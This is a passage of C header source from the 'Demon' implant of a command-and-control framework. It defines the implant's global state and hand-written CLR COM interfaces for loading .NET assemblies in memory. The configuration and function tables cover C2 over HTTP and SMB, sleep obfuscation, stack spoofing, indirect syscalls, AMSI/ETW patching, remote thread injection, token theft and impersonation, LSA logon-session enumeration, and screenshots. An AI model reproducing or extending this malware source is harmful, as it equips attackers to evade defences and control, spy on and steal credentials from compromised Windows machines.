hConsoleOutput; #endif struct { PVOID ModuleBase; DWORD ModuleSize; PVOID TxtBase; DWORD TxtSize; DWORD AgentID; BOOL Connected; DWORD PID; DWORD TID; DWORD PPID; WORD OS_Arch; WORD Process_Arch; DWORD OSVersion; } Session; struct { /* Sleep delay */ DWORD Sleeping; DWORD Jitter; struct { UINT64 KillDate; UINT32 WorkingHours; #ifdef TRANSPORT_HTTP PHOST_DATA Host; /* current using host */ PHOST_DATA Hosts; /* host linked list */ UINT32 NumHosts; LPWSTR Method; /* TODO: use WCHAR[4] instead of LPWSTR. */ SHORT HostRotation; DWORD HostIndex; DWORD HostMaxRetries; DWORD Secure; LPWSTR UserAgent; /* TODO: change type to BUFFER */ LPWSTR* Uris; /* TODO: change type to BUFFER */ LPWSTR* Headers; /* TODO: change type to BUFFER */ struct { BOOL Enabled; LPWSTR Url; /* TODO: Instead of using LPWSTR use BUFFER (to have the size of the string too) */ LPWSTR Username; /* TODO: Instead of using LPWSTR use BUFFER (to have the size of the string too) */ LPWSTR Password; /* TODO: Instead of using LPWSTR use BUFFER (to have the size of the string too) */ } Proxy; #endif #ifdef TRANSPORT_SMB LPSTR Name; /* TODO: change type to BUFFER */ HANDLE Handle; #endif } Transport; struct _CONFIG { ULONG SleepMaskTechnique; ULONG SleepJmpBypass; BOOL StackSpoof; BOOL SysIndirect; BYTE ProxyLoading; BYTE AmsiEtwPatch; BOOL Verbose; PVOID ThreadStartAddr; BOOL CoffeeThreaded; BOOL CoffeeVeh; ULONG DownloadChunkSize; } Implant; struct { UINT32 Alloc; UINT32 Execute; } Memory; // Process Config struct { PWCHAR Spawn64; /* TODO: change type to BUFFER */ PWCHAR Spawn86; /* TODO: change type to BUFFER */ } Process; struct { DWORD Technique; PVOID SpoofAddr; } Inject; /* communication AES keys */ struct { PBYTE Key; PBYTE IV; } AES; } Config ; // TODO: format everything by library. include syscalls too struct { /* Ntdll.dll */ WIN_FUNC( LdrLoadDll ) WIN_FUNC( LdrGetProcedureAddress ) WIN_FUNC( RtlAllocateHeap ) WIN_FUNC( RtlReAllocateHeap ) WIN_FUNC( RtlFreeHeap ) WIN_FUNC( RtlRandomEx ) WIN_FUNC( RtlNtStatusToDosError ) WIN_FUNC( RtlGetVersion ) WIN_FUNC( RtlExitUserThread ) WIN_FUNC( RtlExitUserProcess ) WIN_FUNC( RtlCreateTimer ) WIN_FUNC( RtlRegisterWait ) WIN_FUNC( RtlQueueWorkItem ) WIN_FUNC( RtlCreateTimerQueue ) WIN_FUNC( RtlDeleteTimerQueue ) WIN_FUNC( RtlCaptureContext ); WIN_FUNC( RtlAddVectoredExceptionHandler ); WIN_FUNC( RtlRemoveVectoredExceptionHandler ); WIN_FUNC( RtlCopyMappedMemory ); WIN_FUNC( NtClose ); WIN_FUNC( NtSetEvent ); WIN_FUNC( NtSetInformationThread ); WIN_FUNC( NtSetInformationVirtualMemory ); WIN_FUNC( NtGetNextThread ); WIN_FUNC( NtOpenThread ) WIN_FUNC( NtOpenThreadToken ) WIN_FUNC( NtTerminateProcess ) WIN_FUNC( NtOpenProcess ) WIN_FUNC( NtOpenProcessToken ) WIN_FUNC( NtDuplicateToken ) WIN_FUNC( NtQueueApcThread ) WIN_FUNC( NtSuspendThread ) WIN_FUNC( NtResumeThread ) WIN_FUNC( NtCreateEvent ) WIN_FUNC( NtCreateThreadEx ) WIN_FUNC( NtDuplicateObject ) WIN_FUNC( NtGetContextThread ) WIN_FUNC( NtSetContextThread ) WIN_FUNC( NtQueryInformationProcess ) WIN_FUNC( NtQuerySystemInformation ) WIN_FUNC( NtWaitForSingleObject ) WIN_FUNC( NtTestAlert ) WIN_FUNC( NtAllocateVirtualMemory ) WIN_FUNC( NtWriteVirtualMemory ) WIN_FUNC( NtReadVirtualMemory ) WIN_FUNC( NtFreeVirtualMemory ) WIN_FUNC( NtUnmapViewOfSection ) WIN_FUNC( NtProtectVirtualMemory ) WIN_FUNC( NtTerminateThread ) WIN_FUNC( NtContinue ) WIN_FUNC( NtAlertResumeThread ) WIN_FUNC( NtSignalAndWaitForSingleObject ) WIN_FUNC( NtQueryVirtualMemory ) WIN_FUNC( NtQueryInformationToken ) WIN_FUNC( NtQueryInformationThread ) WIN_FUNC( NtQueryObject ) PVOID NtTraceEvent; // Kernel32 WIN_FUNC( LoadLibraryW ) WIN_FUNC( CreateRemoteThread ) WIN_FUNC( CreateToolhelp32Snapshot ) WIN_FUNC( Process32FirstW ) WIN_FUNC( Process32NextW ) WIN_FUNC( VirtualAllocEx ) WIN_FUNC( VirtualProtect ) WIN_FUNC( CreateFileW ) WIN_FUNC( GetFullPathNameW ) WIN_FUNC( GetFileSize ) WIN_FUNC( GetFileSizeEx ) WIN_FUNC( CreateNamedPipeW ) WIN_FUNC( WaitNamedPipeW ) WIN_FUNC( PeekNamedPipe ) WIN_FUNC( DisconnectNamedPipe ) WIN_FUNC( WriteFile ) WIN_FUNC( ConnectNamedPipe ) WIN_FUNC( FreeLibrary ) WIN_FUNC( GetProcAddress ) WIN_FUNC( CreatePipe ) WIN_FUNC( ReadFile ) WIN_FUNC( GetComputerNameExA ) WIN_FUNC( LocalAlloc ) /* TODO: replace with RtlAllocateHeap */ WIN_FUNC( LocalFree ) /* TODO: replace with RtlFreeHeap */ WIN_FUNC( LocalReAlloc ) /* TODO: replace with RtlReAllocateHeap */ WIN_FUNC( CreateProcessW ) WIN_FUNC( GetExitCodeProcess ) WIN_FUNC( GetExitCodeThread ) WIN_FUNC( TerminateProcess ) WIN_FUNC( VirtualProtectEx ) WIN_FUNC( GetCurrentDirectoryW ) WIN_FUNC( FindFirstFileW ) WIN_FUNC( FindNextFileW ) WIN_FUNC( DeleteFileW ) WIN_FUNC( RemoveDirectoryW ) WIN_FUNC( CreateDirectoryW ) WIN_FUNC( MoveFileW ) WIN_FUNC( GetFileTime ) WIN_FUNC( GetFileAttributesW ) WIN_FUNC( FindClose ) WIN_FUNC( FileTimeToSystemTime ) WIN_FUNC( SystemTimeToTzSpecificLocalTime ) WIN_FUNC( SetCurrentDirectoryW ) WIN_FUNC( Wow64DisableWow64FsRedirection ) WIN_FUNC( Wow64RevertWow64FsRedirection ) WIN_FUNC( CopyFileW ) WIN_FUNC( MoveFileExW ) WIN_FUNC( GetModuleHandleA ) WIN_FUNC( GetSystemTimeAsFileTime ) WIN_FUNC( GetLocalTime ) WIN_FUNC( DuplicateHandle ) WIN_FUNC( AttachConsole ) WIN_FUNC( WriteConsoleA ) HGLOBAL ( *GlobalFree ) ( HGLOBAL ); /* WinHttp.dll */ WIN_FUNC( WinHttpOpen ) WIN_FUNC( WinHttpConnect ) WIN_FUNC( WinHttpOpenRequest ) WIN_FUNC( WinHttpSetOption ) WIN_FUNC( WinHttpCloseHandle ) WIN_FUNC( WinHttpSendRequest ) WIN_FUNC( WinHttpAddRequestHeaders ) WIN_FUNC( WinHttpReceiveResponse ) WIN_FUNC( WinHttpReadData ) WIN_FUNC( WinHttpQueryHeaders ) WIN_FUNC( WinHttpGetIEProxyConfigForCurrentUser ) WIN_FUNC( WinHttpGetProxyForUrl ) // Mscoree HRESULT ( WINAPI *CLRCreateInstance ) ( REFCLSID clsid, REFIID riid, LPVOID* ppInterface ); // Oleaut32 WIN_FUNC( SafeArrayAccessData ) WIN_FUNC( SafeArrayUnaccessData ) WIN_FUNC( SafeArrayCreate ) WIN_FUNC( SafeArrayCreateVector ) WIN_FUNC( SafeArrayPutElement ) WIN_FUNC( SafeArrayDestroy ) WIN_FUNC( SysAllocString ) // Advapi32 WIN_FUNC( GetTokenInformation ) WIN_FUNC( GetUserNameA ) WIN_FUNC( CreateProcessWithTokenW ) WIN_FUNC( CreateProcessWithLogonW ) NTSTATUS ( WINAPI* SystemFunction032 ) ( struct ustring* data, struct ustring* key ); WIN_FUNC( FreeSid ) WIN_FUNC( SetSecurityDescriptorSacl ) WIN_FUNC( SetSecurityDescriptorDacl ) WIN_FUNC( InitializeSecurityDescriptor ) WIN_FUNC( AddMandatoryAce ) WIN_FUNC( InitializeAcl ) WIN_FUNC( AllocateAndInitializeSid ) WIN_FUNC( CheckTokenMembership ) WIN_FUNC( SetEntriesInAclW ) WIN_FUNC( LsaNtStatusToWinError ) WIN_FUNC( EqualSid ) WIN_FUNC( ConvertSidToStringSidW ) WIN_FUNC( GetSidSubAuthorityCount ) WIN_FUNC( GetSidSubAuthority) WIN_FUNC( ConvertThreadToFiberEx ) WIN_FUNC( ConvertFiberToThread ) WIN_FUNC( SwitchToFiber ) WIN_FUNC( CreateFiberEx ) WIN_FUNC( DeleteFiber ) // Token Management WIN_FUNC( RevertToSelf ) WIN_FUNC( LookupAccountSidA ) WIN_FUNC( LookupAccountSidW ) WIN_FUNC( LookupPrivilegeNameA ) WIN_FUNC( LogonUserW ) WIN_FUNC( AdjustTokenPrivileges ) WIN_FUNC( OpenProcessToken ) WIN_FUNC( OpenThreadToken ) WIN_FUNC( LookupPrivilegeValueA ) WIN_FUNC( SetThreadToken ) // String Formatting INT ( *vsnprintf ) ( PCHAR, SIZE_T, CONST PCHAR, va_list ); INT ( *swprintf_s ) ( PWCHAR, SIZE_T, CONST PWCHAR, ... ); // * MISC * WIN_FUNC( CommandLineToArgvW ) WIN_FUNC( AllocConsole ) WIN_FUNC( FreeConsole ) WIN_FUNC( GetConsoleWindow ) WIN_FUNC( ShowWindow ) WIN_FUNC( GetStdHandle ) WIN_FUNC( SetStdHandle ) WIN_FUNC( GetAdaptersInfo ) WIN_FUNC( WaitForSingleObjectEx ) // Screenshot WIN_FUNC( GetSystemMetrics ) WIN_FUNC( GetDC ) WIN_FUNC( GetCurrentObject ) WIN_FUNC( GetObjectW ) WIN_FUNC( CreateCompatibleDC ) WIN_FUNC( CreateDIBSection ) WIN_FUNC( SelectObject ) WIN_FUNC( BitBlt ) WIN_FUNC( DeleteObject ) WIN_FUNC( DeleteDC ) WIN_FUNC( ReleaseDC ) // Netapi WIN_FUNC( NetWkstaUserEnum ) WIN_FUNC( NetSessionEnum ) WIN_FUNC( NetLocalGroupEnum ) WIN_FUNC( NetGroupEnum ) WIN_FUNC( NetUserEnum ) WIN_FUNC( NetShareEnum ) WIN_FUNC( NetApiBufferFree ) /* Ws2_32.dll */ WIN_FUNC( WSAStartup ) WIN_FUNC( WSACleanup ) WIN_FUNC( WSASocketA ) WIN_FUNC( WSAGetLastError ) WIN_FUNC( ioctlsocket ) WIN_FUNC( bind ) WIN_FUNC( listen ) WIN_FUNC( accept ) WIN_FUNC( closesocket ) WIN_FUNC( recv ) WIN_FUNC( send ) WIN_FUNC( connect ) WIN_FUNC( getaddrinfo ) WIN_FUNC( freeaddrinfo ) /* sspicli.dll */ WIN_FUNC( LsaCallAuthenticationPackage ) WIN_FUNC( LsaGetLogonSessionData ) WIN_FUNC( LsaEnumerateLogonSessions ) WIN_FUNC( LsaRegisterLogonProcess ) WIN_FUNC( LsaLookupAuthenticationPackage ) WIN_FUNC( LsaDeregisterLogonProcess ) WIN_FUNC( LsaConnectUntrusted ) WIN_FUNC( LsaFreeReturnBuffer ) /* Amsi.dll */ PVOID AmsiScanBuffer; } Win32; struct { #undef OBF_SYSCALL #ifdef OBF_SYSCALL WIN_FUNC( NtOpenFile ) WIN_FUNC( NtOpenThread ) WIN_FUNC( NtOpenThreadToken ) WIN_FUNC( NtTerminateProcess ) WIN_FUNC( NtOpenProcess ) WIN_FUNC( NtOpenProcessToken ) WIN_FUNC( NtCreateSection ) WIN_FUNC( NtMapViewOfSection ) WIN_FUNC( NtDuplicateToken ) WIN_FUNC( NtQueueApcThread ) WIN_FUNC( NtSuspendThread ) WIN_FUNC( NtResumeThread ) WIN_FUNC( NtCreateEvent ) WIN_FUNC( NtCreateThreadEx ) WIN_FUNC( NtDuplicateObject ) WIN_FUNC( NtGetContextThread ) WIN_FUNC( NtSetContextThread ) WIN_FUNC( NtQueryInformationProcess ) WIN_FUNC( NtQuerySystemInformation ) WIN_FUNC( NtWaitForSingleObject ) WIN_FUNC( NtTestAlert ) WIN_FUNC( NtAllocateVirtualMemory ) WIN_FUNC( NtWriteVirtualMemory ) WIN_FUNC( NtReadVirtualMemory ) WIN_FUNC( NtFreeVirtualMemory ) WIN_FUNC( NtUnmapViewOfSection ) WIN_FUNC( NtProtectVirtualMemory ) WIN_FUNC( NtTerminateThread ) WIN_FUNC( NtContinue ) WIN_FUNC( NtAlertResumeThread ) WIN_FUNC( NtSignalAndWaitForSingleObject ) WIN_FUNC( NtQueryVirtualMemory ) WIN_FUNC( NtQueryInformationToken ) WIN_FUNC( NtQueryInformationThread ) WIN_FUNC( NtQueryObject ) #else PVOID SysAddress; /* 'syscall' instruction pointer */ UINT32 Size; /* size of each 'syscall' stub */ /* Syscall Service Numbers */ WORD NtOpenThread; WORD NtOpenThreadToken; WORD NtTerminateProcess; WORD NtOpenProcess; WORD NtOpenProcessToken; WORD NtDuplicateToken; WORD NtQueueApcThread; WORD NtSuspendThread; WORD NtResumeThread; WORD NtCreateEvent; WORD NtCreateThreadEx; WORD NtDuplicateObject; WORD NtGetContextThread; WORD NtSetContextThread; WORD NtQueryInformationProcess; WORD NtQuerySystemInformation; WORD NtWaitForSingleObject; WORD NtAllocateVirtualMemory; WORD NtWriteVirtualMemory; WORD NtReadVirtualMemory; WORD NtFreeVirtualMemory; WORD NtUnmapViewOfSection; WORD NtProtectVirtualMemory; WORD NtTerminateThread; WORD NtAlertResumeThread; WORD NtSignalAndWaitForSingleObject; WORD NtQueryVirtualMemory; WORD NtQueryInformationToken; WORD NtQueryInformationThread; WORD NtQueryObject; WORD NtClose; WORD NtSetEvent; WORD NtSetInformationThread; WORD NtSetInformationVirtualMemory; WORD NtGetNextThread; #endif } Syscall; struct { PVOID Ntdll; PVOID Kernel32; PVOID Advapi32; PVOID Mscoree; PVOID Oleaut32; PVOID User32; PVOID Shell32; PVOID Msvcrt; PVOID Iphlpapi; PVOID Gdi32; PVOID NetApi32; PVOID Ws2_32; PVOID Sspicli; /* used for bypass */ PVOID Amsi; #ifdef TRANSPORT_HTTP PVOID WinHttp; #endif } Modules; /* The main thread environment block */ PTEB Teb; /* Thread counter. how many threads that are using our code are running ? */ DWORD Threads; /* A list of packages that have to be sent to the teamserver */ PPACKAGE Packages; /* Buffer to use for allocating download chunks. */ BUFFER DownloadChunk; /* This is a global variable for dotnet inline-execute * holds our CLR instance, assembly and where to output. */ PDOTNET_ARGS Dotnet; /* Linked lists */ struct { PTOKEN_LIST_DATA Vault; /* Impersonate token. */ PTOKEN_LIST_DATA Token; BOOL Impersonate; } Tokens; PPIVOT_DATA SmbPivots; PJOB_DATA Jobs; PDOWNLOAD_DATA Downloads; PMEM_FILE MemFiles; PSOCKET_DATA Sockets; PCOFFEE Coffees; PCOFFEE_KEY_VALUE CoffeKeyValueStore; PHWBP_ENGINE HwBpEngine; } INSTANCE, *PINSTANCE; extern PINSTANCE Instance; VOID DemonMain( PVOID ModuleInst, PKAYN_ARGS KArgs ); VOID DemonRoutine( ); VOID DemonInit( PVOID ModuleInst, PKAYN_ARGS KArgs ); VOID DemonMetaData( PPACKAGE* Package, BOOL Header ); VOID DemonConfig(); #endif ================================================ FILE: payloads/Demon/include/common/Clr.h ================================================ #ifndef DEMON_CLR_H #define DEMON_CLR_H #include #include extern GUID xCLSID_CLRMetaHost; extern GUID xIID_ICLRMetaHost; extern GUID xIID_ICLRRuntimeInfo; extern GUID xCLSID_CorRuntimeHost; extern GUID xIID_ICorRuntimeHost; extern GUID xIID_AppDomain; typedef struct _ICLRMetaHost ICLRMetaHost; typedef struct _ICLRRuntimeInfo ICLRRuntimeInfo; typedef struct _AppDomain IAppDomain; typedef struct _Assembly IAssembly; typedef struct _Type IType; typedef struct _Binder IBinder; typedef struct _MethodInfo IMethodInfo; typedef ICLRMetaHost *PICLRMetaHost; typedef ICLRRuntimeInfo *PICLRRuntimeInfo; typedef IAssembly *PIAssembly; typedef IEnumUnknown *PIEnumUnknown; typedef IUnknown *PIUnknown; typedef ICorRuntimeHost *PICorRuntimeHost; typedef void* HDOMAINENUM; typedef HRESULT(__stdcall* CLRCreateInstanceFnPtr)( REFCLSID clsid, REFIID riid, LPVOID* ppInterface); typedef HRESULT(__stdcall* CreateInterfaceFnPtr)( REFCLSID clsid, REFIID riid, LPVOID* ppInterface); typedef HRESULT(__stdcall* CallbackThreadSetFnPtr)(void); typedef HRESULT(__stdcall* CallbackThreadUnsetFnPtr)(void); typedef void(__stdcall* RuntimeLoadedCallbackFnPtr)( ICLRRuntimeInfo* pRuntimeInfo, CallbackThreadSetFnPtr pfnCallbackThreadSet, CallbackThreadUnsetFnPtr pfnCallbackThreadUnset); #undef DUMMY_METHOD #define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IBinder *This) typedef struct _BinderVtbl { HRESULT(STDMETHODCALLTYPE* QueryInterface)( IBinder* This, /* [in] */ REFIID riid, /* [iid_is][out] */ void** ppvObject); ULONG(STDMETHODCALLTYPE* AddRef)( IBinder* This); ULONG(STDMETHODCALLTYPE* Release)( IBinder* This); DUMMY_METHOD(GetTypeInfoCount); DUMMY_METHOD(GetTypeInfo); DUMMY_METHOD(GetIDsOfNames); DUMMY_METHOD(Invoke); DUMMY_METHOD(ToString); DUMMY_METHOD(Equals); DUMMY_METHOD(GetHashCode); DUMMY_METHOD(GetType); DUMMY_METHOD(BindToMethod); DUMMY_METHOD(BindToField); DUMMY_METHOD(SelectMethod); DUMMY_METHOD(SelectProperty); DUMMY_METHOD(ChangeType); DUMMY_METHOD(ReorderArgumentArray); } BinderVtbl; typedef struct _Binder { BinderVtbl* lpVtbl; } Binder; #undef DUMMY_METHOD #define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IAppDomain *This) typedef struct _AppDomainVtbl { BEGIN_INTERFACE HRESULT(STDMETHODCALLTYPE* QueryInterface)( IAppDomain* This, /* [in] */ REFIID riid, /* [iid_is][out] */ void** ppvObject); ULONG(STDMETHODCALLTYPE* AddRef)( IAppDomain* This); ULONG(STDMETHODCALLTYPE* Release)( IAppDomain* This); DUMMY_METHOD(GetTypeInfoCount); DUMMY_METHOD(GetTypeInfo); DUMMY_METHOD(GetIDsOfNames); DUMMY_METHOD(Invoke); DUMMY_METHOD(ToString); DUMMY_METHOD(Equals); DUMMY_METHOD(GetHashCode); DUMMY_METHOD(GetType); DUMMY_METHOD(InitializeLifetimeService); DUMMY_METHOD(GetLifetimeService); DUMMY_METHOD(Evidence); DUMMY_METHOD(add_DomainUnload); DUMMY_METHOD(remove_DomainUnload); DUMMY_METHOD(add_AssemblyLoad); DUMMY_METHOD(remove_AssemblyLoad); DUMMY_METHOD(add_ProcessExit); DUMMY_METHOD(remove_ProcessExit); DUMMY_METHOD(add_TypeResolve); DUMMY_METHOD(remove_TypeResolve); DUMMY_METHOD(add_ResourceResolve); DUMMY_METHOD(remove_ResourceResolve); DUMMY_METHOD(add_AssemblyResolve); DUMMY_METHOD(remove_AssemblyResolve); DUMMY_METHOD(add_UnhandledException); DUMMY_METHOD(remove_UnhandledException); DUMMY_METHOD(DefineDynamicAssembly); DUMMY_METHOD(DefineDynamicAssembly_2); DUMMY_METHOD(DefineDynamicAssembly_3); DUMMY_METHOD(DefineDynamicAssembly_4); DUMMY_METHOD(DefineDynamicAssembly_5); DUMMY_METHOD(DefineDynamicAssembly_6); DUMMY_METHOD(DefineDynamicAssembly_7); DUMMY_METHOD(DefineDynamicAssembly_8); DUMMY_METHOD(DefineDynamicAssembly_9); DUMMY_METHOD(CreateInstance); DUMMY_METHOD(CreateInstanceFrom); DUMMY_METHOD(CreateInstance_2); DUMMY_METHOD(CreateInstanceFrom_2); DUMMY_METHOD(CreateInstance_3); DUMMY_METHOD(CreateInstanceFrom_3); DUMMY_METHOD(Load); DUMMY_METHOD(Load_2); HRESULT(STDMETHODCALLTYPE* Load_3)( IAppDomain* This, SAFEARRAY* rawAssembly, IAssembly** pRetVal); DUMMY_METHOD(Load_4); DUMMY_METHOD(Load_5); DUMMY_METHOD(Load_6); DUMMY_METHOD(Load_7); DUMMY_METHOD(ExecuteAssembly); DUMMY_METHOD(ExecuteAssembly_2); DUMMY_METHOD(ExecuteAssembly_3); DUMMY_METHOD(FriendlyName); DUMMY_METHOD(BaseDirectory); DUMMY_METHOD(RelativeSearchPath); DUMMY_METHOD(ShadowCopyFiles); DUMMY_METHOD(GetAssemblies); DUMMY_METHOD(AppendPrivatePath); DUMMY_METHOD(ClearPrivatePath); DUMMY_METHOD(SetShadowCopyPath); DUMMY_METHOD(ClearShadowCopyPath); DUMMY_METHOD(SetCachePath); DUMMY_METHOD(SetData); DUMMY_METHOD(GetData); DUMMY_METHOD(SetAppDomainPolicy); DUMMY_METHOD(SetThreadPrincipal); DUMMY_METHOD(SetPrincipalPolicy); DUMMY_METHOD(DoCallBack); DUMMY_METHOD(DynamicDirectory); END_INTERFACE } AppDomainVtbl; typedef struct _AppDomain { AppDomainVtbl* lpVtbl; } AppDomain, *PAppDomain; #undef DUMMY_METHOD #define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IAssembly *This) typedef struct _AssemblyVtbl { BEGIN_INTERFACE HRESULT(STDMETHODCALLTYPE* QueryInterface)( IAssembly* This, REFIID riid, void** ppvObject); ULONG(STDMETHODCALLTYPE* AddRef)( IAssembly* This); ULONG(STDMETHODCALLTYPE* Release)( IAssembly* This); DUMMY_METHOD(GetTypeInfoCount); DUMMY_METHOD(GetTypeInfo); DUMMY_METHOD(GetIDsOfNames); DUMMY_METHOD(Invoke); DUMMY_METHOD(ToString); DUMMY_METHOD(Equals); DUMMY_METHOD(GetHashCode); DUMMY_METHOD(GetType); DUMMY_METHOD(CodeBase); DUMMY_METHOD(EscapedCodeBase); DUMMY_METHOD(GetName); DUMMY_METHOD(GetName_2); DUMMY_METHOD(FullName); HRESULT(STDMETHODCALLTYPE* EntryPoint)( IAssembly* This, IMethodInfo** pRetVal); HRESULT(STDMETHODCALLTYPE* GetType_2)( IAssembly* This, BSTR name, IType** pRetVal); DUMMY_METHOD(GetType_3); DUMMY_METHOD(GetExportedTypes); DUMMY_METHOD(GetTypes); DUMMY_METHOD(GetManifestResourceStream); DUMMY_METHOD(GetManifestResourceStream_2); DUMMY_METHOD(GetFile); DUMMY_METHOD(GetFiles); DUMMY_METHOD(GetFiles_2); DUMMY_METHOD(GetManifestResourceNames); DUMMY_METHOD(GetManifestResourceInfo); DUMMY_METHOD(Location); DUMMY_METHOD(Evidence); DUMMY_METHOD(GetCustomAttributes); DUMMY_METHOD(GetCustomAttributes_2); DUMMY_METHOD(IsDefined); DUMMY_METHOD(GetObjectData); DUMMY_METHOD(add_ModuleResolve); DUMMY_METHOD(remove_ModuleResolve); DUMMY_METHOD(GetType_4); DUMMY_METHOD(GetSatelliteAssembly); DUMMY_METHOD(GetSatelliteAssembly_2); DUMMY_METHOD(LoadModule); DUMMY_METHOD(LoadModule_2); DUMMY_METHOD(CreateInstance); DUMMY_METHOD(CreateInstance_2); DUMMY_METHOD(CreateInstance_3); DUMMY_METHOD(GetLoadedModules); DUMMY_METHOD(GetLoadedModules_2); DUMMY_METHOD(GetModules); DUMMY_METHOD(GetModules_2); DUMMY_METHOD(GetModule); DUMMY_METHOD(GetReferencedAssemblies); DUMMY_METHOD(GlobalAssemblyCache); END_INTERFACE } AssemblyVtbl; typedef enum _BindingFlags { BindingFlags_Default = 0, BindingFlags_IgnoreCase = 1, BindingFlags_DeclaredOnly = 2, BindingFlags_Instance = 4, BindingFlags_Static = 8, BindingFlags_Public = 16, BindingFlags_NonPublic = 32, BindingFlags_FlattenHierarchy = 64, BindingFlags_InvokeMethod = 256, BindingFlags_CreateInstance = 512, BindingFlags_GetField = 1024, BindingFlags_SetField = 2048, BindingFlags_GetProperty = 4096, BindingFlags_SetProperty = 8192, BindingFlags_PutDispProperty = 16384, BindingFlags_PutRefDispProperty = 32768, BindingFlags_ExactBinding = 65536, BindingFlags_SuppressChangeType = 131072, BindingFlags_OptionalParamBinding = 262144, BindingFlags_IgnoreReturn = 16777216 } BindingFlags; typedef struct _Assembly { AssemblyVtbl* lpVtbl; } Assembly, *PAssembly; #undef DUMMY_METHOD #define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IType *This) typedef struct _TypeVtbl { BEGIN_INTERFACE HRESULT(STDMETHODCALLTYPE* QueryInterface)( IType* This, REFIID riid, void** ppvObject); ULONG(STDMETHODCALLTYPE* AddRef)( IType* This); ULONG(STDMETHODCALLTYPE* Release)( IType* This); DUMMY_METHOD(GetTypeInfoCount); DUMMY_METHOD(GetTypeInfo); DUMMY_METHOD(GetIDsOfNames); DUMMY_METHOD(Invoke); DUMMY_METHOD(ToString); DUMMY_METHOD(Equals); DUMMY_METHOD(GetHashCode); DUMMY_METHOD(GetType); DUMMY_METHOD(MemberType); DUMMY_METHOD(name); DUMMY_METHOD(DeclaringType); DUMMY_METHOD(ReflectedType); DUMMY_METHOD(GetCustomAttributes); DUMMY_METHOD(GetCustomAttributes_2); DUMMY_METHOD(IsDefined); DUMMY_METHOD(Guid); DUMMY_METHOD(Module); DUMMY_METHOD(Assembly); DUMMY_METHOD(TypeHandle); DUMMY_METHOD(FullName); DUMMY_METHOD(Namespace); DUMMY_METHOD(AssemblyQualifiedName); DUMMY_METHOD(GetArrayRank); DUMMY_METHOD(BaseType); DUMMY_METHOD(GetConstructors); DUMMY_METHOD(GetInterface); DUMMY_METHOD(GetInterfaces); DUMMY_METHOD(FindInterfaces); DUMMY_METHOD(GetEvent); DUMMY_METHOD(GetEvents); DUMMY_METHOD(GetEvents_2); DUMMY_METHOD(GetNestedTypes); DUMMY_METHOD(GetNestedType); DUMMY_METHOD(GetMember); DUMMY_METHOD(GetDefaultMembers); DUMMY_METHOD(FindMembers); DUMMY_METHOD(GetElementType); DUMMY_METHOD(IsSubclassOf); DUMMY_METHOD(IsInstanceOfType); DUMMY_METHOD(IsAssignableFrom); DUMMY_METHOD(GetInterfaceMap); DUMMY_METHOD(GetMethod); DUMMY_METHOD(GetMethod_2); DUMMY_METHOD(GetMethods); DUMMY_METHOD(GetField); DUMMY_METHOD(GetFields); DUMMY_METHOD(GetProperty); DUMMY_METHOD(GetProperty_2); DUMMY_METHOD(GetProperties); DUMMY_METHOD(GetMember_2); DUMMY_METHOD(GetMembers); DUMMY_METHOD(InvokeMember); DUMMY_METHOD(UnderlyingSystemType); DUMMY_METHOD(InvokeMember_2); HRESULT(STDMETHODCALLTYPE* InvokeMember_3)( IType* This, BSTR name, BindingFlags invokeAttr, IBinder* Binder, VARIANT Target, SAFEARRAY* args, VARIANT* pRetVal); DUMMY_METHOD(GetConstructor); DUMMY_METHOD(GetConstructor_2); DUMMY_METHOD(GetConstructor_3); DUMMY_METHOD(GetConstructors_2); DUMMY_METHOD(TypeInitializer); DUMMY_METHOD(GetMethod_3); DUMMY_METHOD(GetMethod_4); DUMMY_METHOD(GetMethod_5); DUMMY_METHOD(GetMethod_6); DUMMY_METHOD(GetMethods_2); DUMMY_METHOD(GetField_2); DUMMY_METHOD(GetFields_2); DUMMY_METHOD(GetInterface_2); DUMMY_METHOD(GetEvent_2); DUMMY_METHOD(GetProperty_3); DUMMY_METHOD(GetProperty_4); DUMMY_METHOD(GetProperty_5); DUMMY_METHOD(GetProperty_6); DUMMY_METHOD(GetProperty_7); DUMMY_METHOD(GetProperties_2); DUMMY_METHOD(GetNestedTypes_2); DUMMY_METHOD(GetNestedType_2); DUMMY_METHOD(GetMember_3); DUMMY_METHOD(GetMembers_2); DUMMY_METHOD(Attributes); DUMMY_METHOD(IsNotPublic); DUMMY_METHOD(IsPublic); DUMMY_METHOD(IsNestedPublic); DUMMY_METHOD(IsNestedPrivate); DUMMY_METHOD(IsNestedFamily); DUMMY_METHOD(IsNestedAssembly); DUMMY_METHOD(IsNestedFamANDAssem); DUMMY_METHOD(IsNestedFamORAssem); DUMMY_METHOD(IsAutoLayout); DUMMY_METHOD(IsLayoutSequential); DUMMY_METHOD(IsExplicitLayout); DUMMY_METHOD(IsClass); DUMMY_METHOD(IsInterface); DUMMY_METHOD(IsValueType); DUMMY_METHOD(IsAbstract); DUMMY_METHOD(IsSealed); DUMMY_METHOD(IsEnum); DUMMY_METHOD(IsSpecialName); DUMMY_METHOD(IsImport); DUMMY_METHOD(IsSerializable); DUMMY_METHOD(IsAnsiClass); DUMMY_METHOD(IsUnicodeClass); DUMMY_METHOD(IsAutoClass); DUMMY_METHOD(IsArray); DUMMY_METHOD(IsByRef); DUMMY_METHOD(IsPointer); DUMMY_METHOD(IsPrimitive); DUMMY_METHOD(IsCOMObject); DUMMY_METHOD(HasElementType); DUMMY_METHOD(IsContextful); DUMMY_METHOD(IsMarshalByRef); DUMMY_METHOD(Equals_2); END_INTERFACE } TypeVtbl; typedef struct ICLRRuntimeInfoVtbl { BEGIN_INTERFACE HRESULT(STDMETHODCALLTYPE* QueryInterface)( ICLRRuntimeInfo* This, /* [in] */ REFIID riid, /* [iid_is][out] */ __RPC__deref_out void** ppvObject); ULONG(STDMETHODCALLTYPE* AddRef)( ICLRRuntimeInfo* This); ULONG(STDMETHODCALLTYPE* Release)( ICLRRuntimeInfo* This); HRESULT(STDMETHODCALLTYPE* GetVersionString)( ICLRRuntimeInfo* This, /* [size_is][out] */ LPWSTR pwzBuffer, /* [out][in] */ DWORD* pcchBuffer); HRESULT(STDMETHODCALLTYPE* GetRuntimeDirectory)( ICLRRuntimeInfo* This, /* [size_is][out] */ __out_ecount_full(*pcchBuffer) LPWSTR pwzBuffer, /* [out][in] */ DWORD* pcchBuffer); HRESULT(STDMETHODCALLTYPE* IsLoaded)( 